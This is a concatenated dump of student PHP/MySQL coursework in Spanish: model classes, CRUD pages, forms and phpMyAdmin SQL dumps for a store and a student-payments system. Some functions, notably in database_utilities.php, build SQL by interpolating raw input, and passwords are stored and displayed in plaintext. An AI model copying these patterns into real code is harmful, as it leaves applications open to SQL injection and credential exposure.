a prevenir inyecciones SQL eliminando la necesidad de entrecomillar manualmente los parámetros. $stmt = Conexion::conectar()->prepare("INSERT INTO $tabla (nombre, apellido, id_grupo) VALUES (:nombre,:apellido,:id)"); #bindParam() Vincula una variable de PHP a un parámetro de sustitución con nombre o de signo de interrogación correspondiente de la sentencia SQL que fue usada para preparar la sentencia. $stmt->bindParam(":nombre", $datosModel["nombre"], PDO::PARAM_STR); $stmt->bindParam(":apellido", $datosModel["apellido"], PDO::PARAM_STR); $stmt->bindParam(":id", $datosModel["id"], PDO::PARAM_STR); if($stmt->execute()){ return "success"; } else{ return "error"; } $stmt->close(); } //REGISTRO DE PAGOS public function registroPagoModel($datosModel, $tabla){ #prepare() Prepara una sentencia SQL para ser ejecutada por el método PDOStatement::execute(). La sentencia SQL puede contener cero o más marcadores de parámetros con nombre (:name) o signos de interrogación (?) por los cuales los valores reales serán sustituidos cuando la sentencia sea ejecutada. Ayuda a prevenir inyecciones SQL eliminando la necesidad de entrecomillar manualmente los parámetros. $stmt = Conexion::conectar()->prepare("INSERT INTO $tabla (id_grupo, id_alumna, M_nombre, M_apellido, comprobante, folio, fecha_pago, fecha_envio) VALUES (:id_grupo, :id_alumna, :M_nombre, :M_apellido, :comprobante, :folio, :fecha_pago, :fecha_envio)"); #bindParam() Vincula una variable de PHP a un parámetro de sustitución con nombre o de signo de interrogación correspondiente de la sentencia SQL que fue usada para preparar la sentencia. $stmt->bindParam(":id_grupo", $datosModel["id_grupo"]); $stmt->bindParam(":id_alumna", $datosModel["id_alumna"]); $stmt->bindParam(":M_nombre", $datosModel["M_nombre"]); $stmt->bindParam(":M_apellido", $datosModel["M_apellido"]); $stmt->bindParam(":comprobante", $datosModel["comprobante"]); $stmt->bindParam(":folio", $datosModel["folio"]); $stmt->bindParam(":fecha_pago", $datosModel["fecha_pago"]); $stmt->bindParam(":fecha_envio", $datosModel["fecha_envio"]); if($stmt->execute()){ return "success"; } else{ return "error"; } $stmt->close(); } #REGISTRO DE GRUPO #------------------------------------ public function registroGrupoModel($datosModel, $tabla){ #prepare() Prepara una sentencia SQL para ser ejecutada por el método PDOStatement::execute(). La sentencia SQL puede contener cero o más marcadores de parámetros con nombre (:name) o signos de interrogación (?) por los cuales los valores reales serán sustituidos cuando la sentencia sea ejecutada. Ayuda a prevenir inyecciones SQL eliminando la necesidad de entrecomillar manualmente los parámetros. $stmt = Conexion::conectar()->prepare("INSERT INTO $tabla (nombre) VALUES (:nombre)"); #bindParam() Vincula una variable de PHP a un parámetro de sustitución con nombre o de signo de interrogación correspondiente de la sentencia SQL que fue usada para preparar la sentencia. $stmt->bindParam(":nombre", $datosModel["nombre"], PDO::PARAM_STR); if($stmt->execute()){ return "success"; } else{ return "error"; } $stmt->close(); } #INGRESO DE SESION #------------------------------------- public function iniciarSesionModel($datosModel, $tabla){ $stmt = Conexion::conectar()->prepare("SELECT username, password, id_usuario, nombre FROM $tabla WHERE username = :username"); $stmt->bindParam(":username", $datosModel["username"], PDO::PARAM_STR); $stmt->execute(); #fetch(): Obtiene una fila de un conjunto de resultados asociado al objeto PDOStatement. return $stmt->fetch(); $stmt->close(); } #VISTA DE ALUMNAS #------------------------------------- public function vistaAlumnasModel($tabla){ $stmt = Conexion::conectar()->prepare("SELECT * FROM $tabla"); $stmt->execute(); #fetchAll(): Obtiene todas las filas de un conjunto de resultados asociado al objeto PDOStatement. return $stmt->fetchAll(); $stmt->close(); } #VISTA DE PAGOS #------------------------------------- public function vistaPagosModel($tabla){ $stmt = Conexion::conectar()->prepare("SELECT * FROM $tabla as p INNER JOIN alumnas as a on a.id_alumna = p.id_alumna"); $stmt->execute(); #fetchAll(): Obtiene todas las filas de un conjunto de resultados asociado al objeto PDOStatement. return $stmt->fetchAll(); $stmt->close(); } //VISTA DE PAGOS ORDENADOS POR FECHA DE ENVIO, ES DECIR LOS LUGARES EN MODO PUBLICO public function vistaPagos2Model($tabla){ $stmt = Conexion::conectar()->prepare("SELECT * FROM $tabla as p INNER JOIN alumnas as a on a.id_alumna = p.id_alumna ORDER BY fecha_envio"); $stmt->execute(); #fetchAll(): Obtiene todas las filas de un conjunto de resultados asociado al objeto PDOStatement. return $stmt->fetchAll(); $stmt->close(); } #VISTA DE GRUPOS #------------------------------------- public function vistaGruposModel($tabla){ $stmt = Conexion::conectar()->prepare("SELECT id_grupo, nombre FROM $tabla "); $stmt->execute(); #fetchAll(): Obtiene todas las filas de un conjunto de resultados asociado al objeto PDOStatement. return $stmt->fetchAll(); $stmt->close(); } #TOTAL USUARIOS #------------------------------------- public function totalUsuariosModel($tabla){ $stmt = Conexion::conectar()->prepare("SELECT * FROM $tabla"); $stmt->execute(); return $stmt->fetchAll(); $stmt->close(); } #TOTAL PAGOS #------------------------------------- public function totalPagosModel($tabla){ $stmt = Conexion::conectar()->prepare("SELECT * FROM $tabla"); $stmt->execute(); return $stmt->fetchAll(); $stmt->close(); } #TOTAL GRUPOS #------------------------------------- public function totalGruposModel($tabla){ $stmt = Conexion::conectar()->prepare("SELECT * FROM $tabla"); $stmt->execute(); return $stmt->fetchAll(); $stmt->close(); } #TOTAL ALUMNAS #------------------------------------- public function totalAlumnasModel($tabla){ $stmt = Conexion::conectar()->prepare("SELECT * FROM $tabla"); $stmt->execute(); return $stmt->fetchAll(); $stmt->close(); } #EDITAR ALUMNAS #------------------------------------- public function editarAlumnaModel($datosModel, $tabla){ $stmt = Conexion::conectar()->prepare("SELECT id_alumna, nombre, apellido, id_grupo FROM $tabla WHERE id_alumna = :id"); $stmt->bindParam(":id", $datosModel); $stmt->execute(); return $stmt->fetch(); $stmt->close(); } //EDITAR PAGO public function editarPagoModel($datosModel, $tabla){ $stmt = Conexion::conectar()->prepare("SELECT * FROM $tabla WHERE id_pago = :id"); $stmt->bindParam(":id", $datosModel); $stmt->execute(); return $stmt->fetch(); $stmt->close(); } #EDITAR GRUPO #------------------------------------- public function editarGrupoModel($datosModel, $tabla){ $stmt = Conexion::conectar()->prepare("SELECT id_grupo, nombre FROM $tabla WHERE id_grupo = :id"); $stmt->bindParam(":id", $datosModel, PDO::PARAM_STR); $stmt->execute(); return $stmt->fetch(); $stmt->close(); } #ACTUALIZAR ALUMNAS #------------------------------------- public function actualizarAlumnaModel($datosModel, $tabla){ $stmt = Conexion::conectar()->prepare("UPDATE $tabla SET nombre = :nombre, apellido = :apellido, id_grupo = :id_grupo WHERE id_alumna = :id"); $stmt->bindParam(":nombre", $datosModel["nombre"], PDO::PARAM_STR); $stmt->bindParam(":apellido", $datosModel["apellido"], PDO::PARAM_STR); $stmt->bindParam(":id_grupo", $datosModel["id_grupo"], PDO::PARAM_STR); $stmt->bindParam(":id", $datosModel["id_alumna"], PDO::PARAM_INT); if($stmt->execute()){ return "success"; } else{ return "error"; } $stmt->close(); } //ACTUALIZAR PAGO public function actualizarPagoModel($datosModel, $tabla){ $stmt = Conexion::conectar()->prepare("UPDATE $tabla SET id_pago = :id, id_grupo = :id_grupo, id_alumna = :id_alumna, M_nombre = :nombre, M_apellido = :apellido, comprobante = :comprobante, folio = :folio, fecha_pago = :fechapago, fecha_envio = :fechaenvio WHERE id_pago = :id"); $stmt->bindParam(":id_alumna", $datosModel["id_alumna"], PDO::PARAM_STR); $stmt->bindParam(":comprobante", $datosModel["comprobante"], PDO::PARAM_STR); $stmt->bindParam(":fechapago", $datosModel["fecha_pago"], PDO::PARAM_STR); $stmt->bindParam(":fechaenvio", $datosModel["fecha_envio"], PDO::PARAM_STR); $stmt->bindParam(":folio", $datosModel["folio"], PDO::PARAM_STR); $stmt->bindParam(":nombre", $datosModel["M_nombre"], PDO::PARAM_STR); $stmt->bindParam(":apellido", $datosModel["M_apellido"], PDO::PARAM_STR); $stmt->bindParam(":id_grupo", $datosModel["id_grupo"], PDO::PARAM_STR); $stmt->bindParam(":id", $datosModel["id_pago"], PDO::PARAM_INT); if($stmt->execute()){ return "success"; } else{ return "error"; } $stmt->close(); } #ACTUALIZAR GRUPO #------------------------------------- public function actualizarGruposModel($datosModel, $tabla){ $stmt = Conexion::conectar()->prepare("UPDATE $tabla SET nombre = :nombre WHERE id_grupo = :id"); $stmt->bindParam(":nombre", $datosModel["nombre"], PDO::PARAM_STR); $stmt->bindParam(":id", $datosModel["id_grupo"], PDO::PARAM_INT); if($stmt->execute()){ return "success"; } else{ return "error"; } $stmt->close(); } #BORRAR ALUMNA #------------------------------------ public function borrarAlumnaModel($datosModel, $tabla){ $stmt = Conexion::conectar()->prepare("DELETE FROM $tabla WHERE id_alumna = :id"); $stmt->bindParam(":id", $datosModel, PDO::PARAM_INT); if($stmt->execute()){ return "success"; } else{ return "error"; } $stmt->close(); } #BORRAR PAGO #------------------------------------ public function borrarPagoModel($datosModel, $tabla){ $stmt = Conexion::conectar()->prepare("DELETE FROM $tabla WHERE id_pago = :id"); $stmt->bindParam(":id", $datosModel); if($stmt->execute()){ return "success"; } else{ return "error"; } $stmt->close(); } #BORRAR GRUPO #------------------------------------ public function borrarGrupoModel($datosModel, $tabla){ $stmt = Conexion::conectar()->prepare("DELETE FROM $tabla WHERE id_grupo = :id"); $stmt->bindParam(":id", $datosModel, PDO::PARAM_INT); if($stmt->execute()){ return "success"; } else{ return "error"; } $stmt->close(); } #OBTENER LAS ALUMNAS #------------------------------------ public function seleccionarGAlumnasModel($tabla){ $stmt = Conexion::conectar()->prepare("SELECT id_alumna,nombre, apellido FROM $tabla"); $stmt->execute(); return $stmt->fetchAll(); $stmt->close(); } #OBTENER LOS GRUPOS #------------------------------------ public function seleccionarGruposModel($tabla){ $stmt = Conexion::conectar()->prepare("SELECT id_grupo, nombre FROM $tabla"); $stmt->execute(); return $stmt->fetchAll(); $stmt->close(); } #OBTENER LOS USUARIOS #------------------------------------ public function seleccionarUsuariosModel($tabla,$tienda){ $stmt = Conexion::conectar()->prepare("SELECT id_usuario,nombre FROM $tabla WHERE id_tienda = $tienda"); $stmt->execute(); return $stmt->fetchAll(); $stmt->close(); } #OBTENER LOS GRUPOS #------------------------------------ public function seleccionarGrupos($tabla){ $stmt = Conexion::conectar()->prepare("SELECT * FROM $tabla"); $stmt->execute(); return $stmt->fetchAll(); $stmt->close(); } //OBTENER LAS ALUMNAS POR GRUPO public function seleccionarAlumnasXGrupo($tabla,$id){ $stmt = Conexion::conectar()->prepare("SELECT * FROM $tabla WHERE id_grupo = $id"); $stmt->execute(); return $stmt->fetchAll(); $stmt->close(); } } ?><file_sep>/Practica06/Ejercicio2/update.php <?php //El archivo connection.php permite la conexion a la base de datos mediante pdo require_once('connection.php'); $id = $_GET['id']; global $pdo,$sql; $id=$_POST['id']; $nombre=$_POST['name']; $posicion=$_POST['pos']; $carrera=$_POST['carrera']; $email=$_POST['email']; //Consulta de update para la modificacion de la informacion del jugador de futbol $sql = 'UPDATE `futbol` SET `nombre`=:name,`posicion`=:pos,`carrera`=:carrera,`email`=:email WHERE id=:id'; $statement = $pdo->prepare($sql); $statement->bindParam(':id',$id); $statement->bindParam(':name',$nombre); $statement->bindParam(':pos',$posicion); $statement->bindParam(':carrera',$carrera); $statement->bindParam(':email',$email); $statement->execute(); $result = $statement->fetchAll(); header("Location: index.php"); ?><file_sep>/Calificar/2/Practica06/Config.php <?php //Conexion en la BD con el nombre de usuario y contraseña para acceder $username = 'root'; $password = ''; //Asignacion de base de datos y el localhost //$var = null; //Codigo obligatoriamente ejecutado de error no conexion try{ $var = new PDO('mysql: host=localhost; dbname=practica06', $username, $password); } //Si marca error envia directo a catch para enviar el mensaje de error catch(PDOException $ex){ print'Error:'. $ex->getMessage().'<br>'; } ?><file_sep>/Practica07/detalles_venta.php <?php include_once('funciones.php'); $id = isset( $_GET['id'] ) ? $_GET['id'] : ''; $filas = querydetalles($id); ?> <!doctype html> <html class="no-js" lang="en"> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>Practica 7 - Ventas</title> <link rel="stylesheet" href="./css/foundation.css" /> <script src="./js/vendor/modernizr.js"></script> </head> <body> <?php require_once('header.php'); ?> <div class="row"> <div class="large-9 columns"> <div class="section-container tabs" data-section> <section class="section"> <div class="content" data-slug="panel1"> <div class="row"> </div> <ul class="pricing-table"> <li class="title">Detalle de venta</li> <?php foreach( $filas as $fila ){ ?> <li class="description"> Nombre: <?php echo $fila['nombre'] ?><br> Cantidad: <?php echo $fila['cantidad'] ?><br> Promedio de Prenda <?php echo $fila['preciounitario'] * $fila['cantidad'] / $fila['cantidad'] ?><br> Sumatoria: <?php echo $fila['preciounitario'] * $fila['cantidad'] ?> </li> <?php } ?> </ul> </div> </section> </div> </div> </div> <?php require_once('footer.php'); ?><file_sep>/Practica06/index.php <?php //El archivo connection.php permite la conexion a la base de datos mediante pdo require_once('connection.php'); global $pdo,$sql; //Consultar el total de usuarios $sql = 'SELECT COUNT(*) as total_users FROM user'; $statement = $pdo->prepare($sql); $statement->execute(); $results = $statement->fetchAll(); $total_users = $results[0]['total_users']; //Consultar cuantos tipos de usuarios hay $sql = 'SELECT COUNT(*) as total_users_types FROM user_type'; $statement = $pdo->prepare($sql); $statement->execute(); $results = $statement->fetchAll(); $total_users_types = $results[0]['total_users_types']; //Consultar cuantos status existen $sql = 'SELECT COUNT(*) as total_status FROM status'; $statement = $pdo->prepare($sql); $statement->execute(); $results = $statement->fetchAll(); $total_status = $results[0]['total_status']; //Consultar cuantos accesos se han hecho $sql = 'SELECT COUNT(*) as total_log FROM user_log'; $statement = $pdo->prepare($sql); $statement->execute(); $results = $statement->fetchAll(); $total_log = $results[0]['total_log']; //Consultar cuantos usuarios activos hay $sql = 'SELECT COUNT(*) as total_users_active FROM user WHERE status_id = 1'; $statement = $pdo->prepare($sql); $statement->execute(); $results = $statement->fetchAll(); $total_users_active = $results[0]['total_users_active']; //Consultar cuantos usuarios inactivos hay $sql = 'SELECT COUNT(*) as total_users_inactive FROM user WHERE status_id = 2'; $statement = $pdo->prepare($sql); $statement->execute(); $results = $statement->fetchAll(); $total_users_inactive = $results[0]['total_users_inactive']; //Consulta las filas de la tabla user_type $sql = 'SELECT user_type.id,user_type.name FROM user_type'; $statement = $pdo->prepare($sql); $statement->execute(); $filas = $statement->fetchAll(PDO::FETCH_OBJ); //Consulta las filas de la tabla status $sql = 'SELECT status.id,status.name FROM status'; $statement = $pdo->prepare($sql); $statement->execute(); $filas_s = $statement->fetchAll(PDO::FETCH_OBJ); //Consulta las filas de la tabla user_log $sql = 'SELECT user_log.id,user_log.date_logged_in, user_log.user_id FROM user_log'; $statement = $pdo->prepare($sql); $statement->execute(); $filas_log = $statement->fetchAll(PDO::FETCH_OBJ); //Consulta las filas de la tabla user $sql = 'SELECT user.id,user.email,user.password,user.status_id,user.user_type_id FROM user'; $statement = $pdo->prepare($sql); $statement->execute(); $filas_u = $statement->fetchAll(PDO::FETCH_OBJ); ?> <!doctype html> <html class="no-js" lang="en"> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>Curso PHP | Bienvenidos</title> <link rel="stylesheet" href="./css/foundation.css" /> <script src="./js/vendor/modernizr.js"></script> </head> <body> <div class="row"> <div class="large-12 columns"> <h3>Tecnologias y Aplicaciones Web - PHP & SQL</h3> <br> <h4><b><center>Ejercicio 1: Contando Datos</center></b></h4> <h4><b>Totales</b></h4> <div class="section-container tabs" data-section> <section class="section"> <div class="content" data-slug="panel1"> <div class="row"> </div> <table> <thead> <tr> <th width="200">Usuarios</th> <th width="200">Tipos</th> <th width="200">Status</th> <th width="200">Accesos</th> <th width="200">Usuarios Activos</th> <th width="200">Usuarios Inactivos</th> </tr> </thead> <tbody> <tr><?php //Impresion de los totales calculados anteriormente en las consultas ?> <td><?php echo $total_users ?></td> <td><?php echo $total_users_types ?></td> <td><?php echo $total_status ?></td> <td><?php echo $total_log ?></td> <td><?php echo $total_users_active ?></td> <td><?php echo $total_users_inactive ?></td> </tr> </tbody> </table> </div> </section> </div> <br> <h4><b>Tabla: User</b></h4> <div class="section-container tabs" data-section> <section class="section"> <div class="content" data-slug="panel1"> <div class="row"> </div> <table> <thead> <tr> <th width="200">ID</th> <th width="200">Email</th> <th width="200">Password</th> <th width="200">Status_id</th> <th width="200">User_type_id</th> </tr> </thead> <tbody> <?php foreach ($filas_u as $fila): ?> <tr><?php //Impresion de la tabla User?> <td><?php echo $fila->id ?></td> <td><?php echo $fila->email ?></td> <td><?php echo $fila->password ?></td> <td><?php echo $fila->status_id ?></td> <td><?php echo $fila->user_type_id ?></td> </tr> <?php endforeach ?> </tbody> </table> </div> </section> </div> <br> <h4><b>Tabla: User_log</b></h4> <div class="section-container tabs" data-section> <section class="section"> <div class="content" data-slug="panel1"> <div class="row"> </div> <table> <thead> <tr> <th width="200">ID</th> <th width="200">Date_logged_in</th> <th width="200">User_id</th> </tr> </thead> <tbody> <?php foreach ($filas_log as $fila): ?> <tr><?php //Impresion de la tabla User_log ?> <td><?php echo $fila->id ?></td> <td><?php echo $fila->date_logged_in ?></td> <td><?php echo $fila->user_id ?></td> </tr> <?php endforeach ?> </tbody> </table> </div> </section> </div> <br> <h4><b>Tabla: User_type</b></h4> <div class="section-container tabs" data-section> <section class="section"> <div class="content" data-slug="panel1"> <div class="row"> </div> <table> <thead> <tr> <th width="200">ID</th> <th width="200">Name</th> </tr> </thead> <tbody> <?php foreach ($filas as $fila): ?> <tr><?php //Impresion de la tabla User_type ?> <td><?php echo $fila->id ?></td> <td><?php echo $fila->name ?></td> </tr> <?php endforeach ?> </tbody> </table> </div> </section> </div> <br> <h4><b>Tabla: Status</b></h4> <div class="section-container tabs" data-section> <section class="section"> <div class="content" data-slug="panel1"> <div class="row"> </div> <table> <thead> <tr> <th width="200">ID</th> <th width="200">Name</th> </tr> </thead> <tbody> <?php foreach ($filas_s as $fila): ?> <tr><?php //Impresion de la tabla Status ?> <td><?php echo $fila->id ?></td> <td><?php echo $fila->name ?></td> </tr> <?php endforeach ?> </tbody> </table> </div> </section> </div> </div> </div><file_sep>/05_final/database_utilities.php <?php //Requiere de las credenciales para la conexion a la base de datos require_once('database_credentials.php'); $conexion = new mysqli($servidor, $usuario, $password, $bd); //Funcion para agregar un nuevo registro al listado y a la base de datos function añadir($correo,$password) { global $conexion; $sql = "INSERT INTO usuario (correo,password) VALUES ('$correo','$password')"; $conexion->query($sql); } //Funcion para modificar los valores de un registro y actualizarlos function modificar($id,$correo,$password) { global $conexion; $sql = "UPDATE usuario SET correo = '$correo', password='$<PASSWORD>'where id='$id'"; $conexion->query($sql); } //Funcion borrar que como su nombre lo dice permite borrar un elemento del listado y de la base de datos function borrar($id) { global $conexion; $sql = "DELETE FROM usuario WHERE id='$id'"; $conexion->query($sql); } //Funcion para traer los elementos de la base de datos para formar el listado function run_query() { global $conexion; $sql = 'SELECT * FROM usuario'; $resultados = $conexion->query($sql); if($resultados->num_rows) return $resultados; return false; } //Funcion para buscar por id function busqueda_id($id) { global $conexion; $sql = "SELECT * FROM usuario where id='$id'"; $resultado = $conexion->query($sql); if($resultado->num_rows) return mysqli_fetch_assoc($resultado); return false; } ?><file_sep>/04_final/maestros.php <!doctype html> <html class="no-js" lang="en"> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>Curso PHP | Bienvenidos</title> <link rel="stylesheet" href="./css/foundation.css" /> <script src="./js/vendor/modernizr.js"></script> </head> <body> <?php require_once('header.php'); ?> <h2>Menu Principal - Maestros</h2> <div> <h3>Listado</h3> <ul><!-- Redirecciona al listado de maestros --> <a href="./listado_m.php" class="button">Ir al listado</a> </ul> </div> <div> <h3>Formulario</h3> <ul><!-- Redirecciona al formulario de maestros --> <a href="./formulario_m.php" class="button">Ir al formualrio</a> </ul> </div> <?php require_once('footer.php'); ?> </body> </html><file_sep>/PNF/Practica12 - copia/views/modules/registrarUsuario.php <?php session_start(); if(!$_SESSION["validar"]){ header("location:index.php?action=ingresar"); exit(); } ?> <br> <!-- Formulario para la insercion de Alumnos --> <h4>REGISTRO DE USUARIOS</h4> <hr><br> <input type="button" style="left: -200px;" class="button radius tiny" value="Listado Usuarios" onclick="window.location= 'index.php?action=usuarios'"> <br> <strong><h4>Información General</h4></strong> <br> <form method="post"> <label>Nombre: </label> <input type="text" placeholder="Nombre" name="nombre" required> <label>Username: </label> <input type="text" placeholder="Username" name="username" required> <label>Contraseña: </label> <input type="text" placeholder="<PASSWORD>" name="password" required> <input type="submit" class="button radius tiny" name="enviar" style="background-color: #360956; left: -1px; width: 400px;" value="Enviar"> </form> <?php //Enviar los datos al controlador MvcController (es la clase principal de controller.php) $registro = new MvcController(); //se invoca la función registroProductosController de la clase MvcController: $registro -> registroUsuarioController(); if(isset($_GET["action"])){ if($_GET["action"] == "UsuarioRegistrado"){ //echo "Producto Añadido"; } } ?> <file_sep>/Practica12/sistema2.sql -- phpMyAdmin SQL Dump -- version 4.7.4 -- https://www.phpmyadmin.net/ -- -- Servidor: 127.0.0.1 -- Tiempo de generación: 11-06-2018 a las 12:35:15 -- Versión del servidor: 10.1.26-MariaDB -- Versión de PHP: 7.1.9 SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; SET AUTOCOMMIT = 0; START TRANSACTION; SET time_zone = "+00:00"; /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; /*!40101 SET NAMES utf8mb4 */; -- -- Base de datos: `sistema2` -- -- -------------------------------------------------------- -- -- Estructura de tabla para la tabla `categorias` -- CREATE TABLE `categorias` ( `id_categoria` int(11) NOT NULL, `nombre` varchar(255) NOT NULL, `descripcion` varchar(255) NOT NULL, `fecha` date NOT NULL, `id_tienda` int(11) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Volcado de datos para la tabla `categorias` -- INSERT INTO `categorias` (`id_categoria`, `nombre`, `descripcion`, `fecha`, `id_tienda`) VALUES (1, 'Botanas', 'Deliciosas frituras para fiestas', '2018-06-05', 2), (2, 'Bebidas', 'Refrescantes líquidos', '2018-06-05', 2), (4, 'Abarrotes', 'De Todo', '2018-06-08', 3), (6, 'Higiene', 'Articulos de limpieza', '2018-06-10', 0); -- -------------------------------------------------------- -- -- Estructura de tabla para la tabla `historial` -- CREATE TABLE `historial` ( `id_historial` int(11) NOT NULL, `id_producto` int(11) NOT NULL, `user_id` int(11) NOT NULL, `fecha` date NOT NULL, `nota` varchar(255) NOT NULL, `referencia` varchar(100) NOT NULL, `cantidad` int(11) NOT NULL, `id_tienda` int(11) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Volcado de datos para la tabla `historial` -- INSERT INTO `historial` (`id_historial`, `id_producto`, `user_id`, `fecha`, `nota`, `referencia`, `cantidad`, `id_tienda`) VALUES (1, 2, 1, '2018-06-05', 'Se agregaron 2', '<NAME>', 2, 2), (2, 2, 2, '2018-06-06', 'Se agregaron 2', '<NAME>', 2, 2), (5, 3, 1, '2018-06-05', 'Se retiraron 10 unidades', '<NAME>', 10, 3), (6, 3, 3, '2018-06-06', 'Se retiraron 4 unidades', '<NAME> 23', 4, 3), (7, 3, 2, '2018-06-06', 'Se retiraron 6 unidades', '<NAME>', 6, 3), (8, 3, 1, '2018-06-06', 'Se agregaron 20', '<NAME>', 20, 3), (9, 3, 1, '2018-06-08', 'Se agregaron 3', '<NAME>', 3, 3), (10, 3, 1, '2018-06-08', 'Se retiraron 3 unidades', '<NAME>', 3, 3); -- -------------------------------------------------------- -- -- Estructura de tabla para la tabla `productos` -- CREATE TABLE `productos` ( `id_producto` int(11) NOT NULL, `codigo_producto` varchar(20) NOT NULL, `nombre` varchar(255) NOT NULL, `fecha` date NOT NULL, `preciounitario` double NOT NULL, `stock` int(11) NOT NULL, `id_categoria` int(11) NOT NULL, `id_tienda` int(11) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Volcado de datos para la tabla `productos` -- INSERT INTO `productos` (`id_producto`, `codigo_producto`, `nombre`, `fecha`, `preciounitario`, `stock`, `id_categoria`, `id_tienda`) VALUES (1, 'GAM01', 'Galletas Vainilla', '2018-06-04', 12, 22, 1, 2), (2, 'GAM02', 'Galletas Chocolate', '2018-06-04', 11, 20, 2, 2), (3, 'GAM03', 'Galletas Fresa', '2018-06-05', 12, 20, 2, 3); -- -------------------------------------------------------- -- -- Estructura de tabla para la tabla `tiendas` -- CREATE TABLE `tiendas` ( `id_tienda` int(11) NOT NULL, `nombre` varchar(20) NOT NULL, `direccion` varchar(100) NOT NULL, `status` int(11) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Volcado de datos para la tabla `tiendas` -- INSERT INTO `tiendas` (`id_tienda`, `nombre`, `direccion`, `status`) VALUES (1, 'ROOT', 'Default', 0), (2, 'Walmart', 'Adelitas', 1), (3, 'Sam\'s', 'Adelitas', 1), (4, 'Waldo\'s', 'Centro', 0), (5, 'Coppel', 'Adelitas', 0), (6, 'Liverpool', 'Lejos', 1); -- -------------------------------------------------------- -- -- Estructura de tabla para la tabla `usuarios` -- CREATE TABLE `usuarios` ( `id_usuario` int(11) NOT NULL, `nombre` varchar(20) NOT NULL, `apellido` varchar(20) NOT NULL, `username` varchar(64) NOT NULL, `password` varchar(255) NOT NULL, `email` varchar(64) NOT NULL, `fecha` date NOT NULL, `id_tienda` int(11) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Volcado de datos para la tabla `usuarios` -- INSERT INTO `usuarios` (`id_usuario`, `nombre`, `apellido`, `username`, `password`, `email`, `fecha`, `id_tienda`) VALUES (1, 'Sergio', 'Perez', 'admin', '<PASSWORD>', '<EMAIL>', '2018-05-10', 1), (2, 'Allegoric', 'Cheese', 'user', 'user', '<EMAIL>', '2018-06-05', 2), (3, 'Luis', 'Perez', '1530073', 'sergio', '<EMAIL>', '2018-06-03', 3), (5, 'Lorena', 'Perez', '1530370', '123', '<EMAIL>', '2018-06-10', 1); -- -- Índices para tablas volcadas -- -- -- Indices de la tabla `categorias` -- ALTER TABLE `categorias` ADD PRIMARY KEY (`id_categoria`); -- -- Indices de la tabla `historial` -- ALTER TABLE `historial` ADD PRIMARY KEY (`id_historial`), ADD KEY `id_producto` (`id_producto`), ADD KEY `user_id` (`user_id`); -- -- Indices de la tabla `productos` -- ALTER TABLE `productos` ADD PRIMARY KEY (`id_producto`), ADD KEY `id_categoria` (`id_categoria`); -- -- Indices de la tabla `tiendas` -- ALTER TABLE `tiendas` ADD PRIMARY KEY (`id_tienda`); -- -- Indices de la tabla `usuarios` -- ALTER TABLE `usuarios` ADD PRIMARY KEY (`id_usuario`); -- -- AUTO_INCREMENT de las tablas volcadas -- -- -- AUTO_INCREMENT de la tabla `categorias` -- ALTER TABLE `categorias` MODIFY `id_categoria` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=12; -- -- AUTO_INCREMENT de la tabla `historial` -- ALTER TABLE `historial` MODIFY `id_historial` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=19; -- -- AUTO_INCREMENT de la tabla `productos` -- ALTER TABLE `productos` MODIFY `id_producto` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=11; -- -- AUTO_INCREMENT de la tabla `tiendas` -- ALTER TABLE `tiendas` MODIFY `id_tienda` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=9; -- -- AUTO_INCREMENT de la tabla `usuarios` -- ALTER TABLE `usuarios` MODIFY `id_usuario` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=10; -- -- Restricciones para tablas volcadas -- -- -- Filtros para la tabla `historial` -- ALTER TABLE `historial` ADD CONSTRAINT `historial_ibfk_1` FOREIGN KEY (`id_producto`) REFERENCES `productos` (`id_producto`) ON DELETE NO ACTION ON UPDATE NO ACTION, ADD CONSTRAINT `historial_ibfk_2` FOREIGN KEY (`user_id`) REFERENCES `usuarios` (`id_usuario`) ON DELETE NO ACTION ON UPDATE NO ACTION; -- -- Filtros para la tabla `productos` -- ALTER TABLE `productos` ADD CONSTRAINT `productos_ibfk_1` FOREIGN KEY (`id_categoria`) REFERENCES `categorias` (`id_categoria`) ON DELETE NO ACTION ON UPDATE NO ACTION; COMMIT; /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; <file_sep>/Envios/sistema5.sql -- phpMyAdmin SQL Dump -- version 4.8.1 -- https://www.phpmyadmin.net/ -- -- Servidor: 127.0.0.1 -- Tiempo de generación: 25-06-2018 a las 08:13:55 -- Versión del servidor: 10.1.33-MariaDB -- Versión de PHP: 7.2.6 SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; SET AUTOCOMMIT = 0; START TRANSACTION; SET time_zone = "+00:00"; /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; /*!40101 SET NAMES utf8mb4 */; -- -- Base de datos: `sistema5` -- -- -------------------------------------------------------- -- -- Estructura de tabla para la tabla `alumnas` -- CREATE TABLE `alumnas` ( `id_alumna` int(11) NOT NULL, `nombre` varchar(20) NOT NULL, `apellido` varchar(20) NOT NULL, `id_grupo` int(11) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- 